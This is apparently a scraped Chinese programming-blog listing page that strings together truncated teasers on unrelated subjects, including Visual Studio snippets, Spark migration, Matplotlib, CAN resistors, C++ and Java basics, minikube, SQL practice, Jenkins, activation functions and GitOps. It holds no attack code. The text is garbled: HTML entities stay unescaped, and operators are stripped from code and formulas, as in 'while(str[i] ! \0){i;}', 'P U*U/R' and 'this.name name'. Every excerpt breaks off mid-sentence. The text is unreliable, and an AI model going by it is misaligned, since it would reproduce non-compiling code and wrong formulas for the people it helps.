Visual Studio使用——自定义代码片段 像使用IDEA一样能快捷输入

目录 引出Visual Studio使用自定义代码片段 Idea安装和使用0.Java下载 和 IDEA工具1.首次新建项目2.隐藏文件不必要显示文件3.目录层级设置4.Settings设置选择idea的场景提示代码不区分大小写 取消git的代码作者显示 总结 引出 Visual Studio使用——自定义代码片段 & 像使…

字节跳动 MapReduce - Spark 平滑迁移实践

摘要&#xff1a;本文整理自字节跳动基础架构工程师魏中佳在本次 CommunityOverCode Asia 2023 中的《字节跳动 MapReduce - Spark 平滑迁移实践》主题演讲。 随着字节业务的发展&#xff0c;公司内部每天线上约运行 100万 Spark 作业&#xff0c;与之相对比的是&#xff0c;线…

Python可视化之Matplotlib

文章目录 Matplotlib与可视化分析简单图形的绘制pylot的高级功能添加图例与注释 Matplotlib与可视化分析 我们之前对数据的处理与分析&#xff0c;其实最终还是要利用可视化工具进行更加直观的输出 我们开业通过 pip install matplotlib命令来安装对应的模块 简单图形的绘制…

带你从数据手册了解CAN 电平参数

CAN终端电阻功率应该选多大&#xff1f; can的中断电阻大家都知道是120R&#xff1b; 这个电阻功率应该选多大呢&#xff1f; 晚上有说0603 封装的&#xff0c;有说0805封装的&#xff0c;有说1206封装的。。。。 那到底该选多少&#xff1f; P U*U/R&#xff1b; 只要知…

C++ DAY1 作业

1.定义自己的命名空间myspace&#xff0c;并在myspace中定义一个字符串&#xff0c;并实现求字符串长度 #include <iostream>using namespace std; namespace myspace {string str;int length_fun(){getline(cin,str);int i 0;while(str[i] ! \0){i;}return i;}} using…

Mathematica中的有理数与浮点数

在Mathematica中如果使用了小数&#xff0c;软件会按照浮点数计算&#xff0c;从而导致不准确的结果。 例如下面的例子&#xff0c;计算下面两个相同式子的拉氏反变换得到的结果会不同&#xff1a; 代码如下 InverseLaplaceTransform[323/(56182 p 323 p^2 1000 p^3), p, t…

基于DS1302的日历时钟

#include<reg51.h> //包含单片机寄存器的头文件 #include<intrins.h> //包含_nop_()函数定义的头文件 /*********************************************************************** 以下是DS1302芯片的操作程序 *******************************************…

记录使用minikube部署web程序,并灰度发布不同版本

1. 安装软件 1.1安装docker desktop 下载地址 重点&#xff1a;配置镜像加速 1.2 安装k8s&minikube 这里参考阿里社区的配置 minikube1.24.0版本下载地址 重点&#xff1a;安装版本问题【因为后面要用阿里云的服务来获取所需Docker镜像&#xff0c;一直不成功使用的高版…

牛客网SQL训练5—SQL大厂真题面试

文章目录 一、某音短视频1.各个视频的平均完播率2.平均播放进度大于60%的视频类别3.每类视频近一个月的转发量/率4.每个创作者每月的涨粉率及截止当前的总粉丝量5.国庆期间每类视频点赞量和转发量6.近一个月发布的视频中热度最高的top3视频 二、用户增长场景&#xff08;某度信…

mysql原理--MySQL基于规则的优化

设计 MySQL 的大叔依据一些规则&#xff0c;竭尽全力的把一些很糟糕的语句转换成某种可以比较高效执行的形式&#xff0c;这个过程也可以被称作 查询重写 &#xff08;就是人家觉得你写的语句不好&#xff0c;自己再重写一遍&#xff09;。 1.条件化简 我们编写的查询语句的搜…

子类能继承父类的那些内容

子类能继承父类的那些内容 子类不能继承父类的构造方法。 package oop.Extends.a02oopextendsdemo02; public class Test {public static void main(String[] args) {}class Fu{String name;int age;public Fu() {}public Fu(String name, int age) {this.name name;this.ag…

C语言之字符串处理

目录 字符串长度 显示字符串 数字字符的出现次数 大小写字符转换 字符串数组的参数传递 非字符串的字符数组 目前我们所学习到的是围绕字符串的处理&#xff0c;仅仅是生成字符串、读取并显示字符串&#xff0c;下面我学习更加灵活处理字符串的方式。 字符串长度 我们来看…

基于Java+SpringBoot+vue+elementui的校园文具商城系统详细设计和实现

基于JavaSpringBootvueelementui的校园文具商城系统详细设计和实现 欢迎点赞 收藏 ⭐留言 文末获取源码联系方式 文章目录 基于JavaSpringBootvueelementui的校园文具商城系统详细设计和实现前言介绍&#xff1a;系统设计&#xff1a;系统开发流程用户登录流程系统操作流程 功能…

jenkins+mvn使用自定义jdk

jenkins2.357开始已经全面放弃jdk1.8从而使用openjdk11,但是项目一般都是用的比较老的java环境打包构建 一. 配置java环境(此方式测试有问题) 1.1 新增不同jdk配置和路径 1.2 新增后项目选择对应java8 1.3 构建命令 1.4 打包构建失败 原因在build阶段多了 mvn命令导致去掉就…

掌握激活函数(一):深度学习的成功之源

文章目录 引言基本概念常用激活函数举例Sigmoid激活函数公式Sigmoid函数的数学特性示例基于NumPy和PyTorch实现Sigmoid函数将Sigmoid函数应用于二分类任务 Sigmoid激活函数的局限性举例 ReLU激活函数公式ReLU函数的数学特性ReLU函数的特点示例基于NumPy和PyTorch实现ReLU函数搭…

C语言——数据在内存中的存储【整型数据在内存中的储存,大小端字节序储存,浮点型数据在内存中的储存】

&#x1f4dd;前言&#xff1a; 在前面的三篇文章中我们已经完成了对字符函数和字符串函数的学习&#xff0c;现在就让我们探索新领域&#xff0c;更加深入的理解**数据在内存中的存储方式**&#xff1a; 1&#xff0c;整数在内存中的存储 2&#xff0c;⼤⼩端字节序存储 3&…

GitOps实践指南:GitOps能为我们带来什么?

Git&#xff0c;作为开发过程中的核心工具&#xff0c;提供了强大的版本控制功能。即便在写代码的时候稍微手抖一下&#xff0c;我们也能通过 Git 的差异对比&#xff08;diff&#xff09;轻松追踪到庞大工程中的问题&#xff0c;确保代码的准确与可靠。这种无与伦比的自省能力…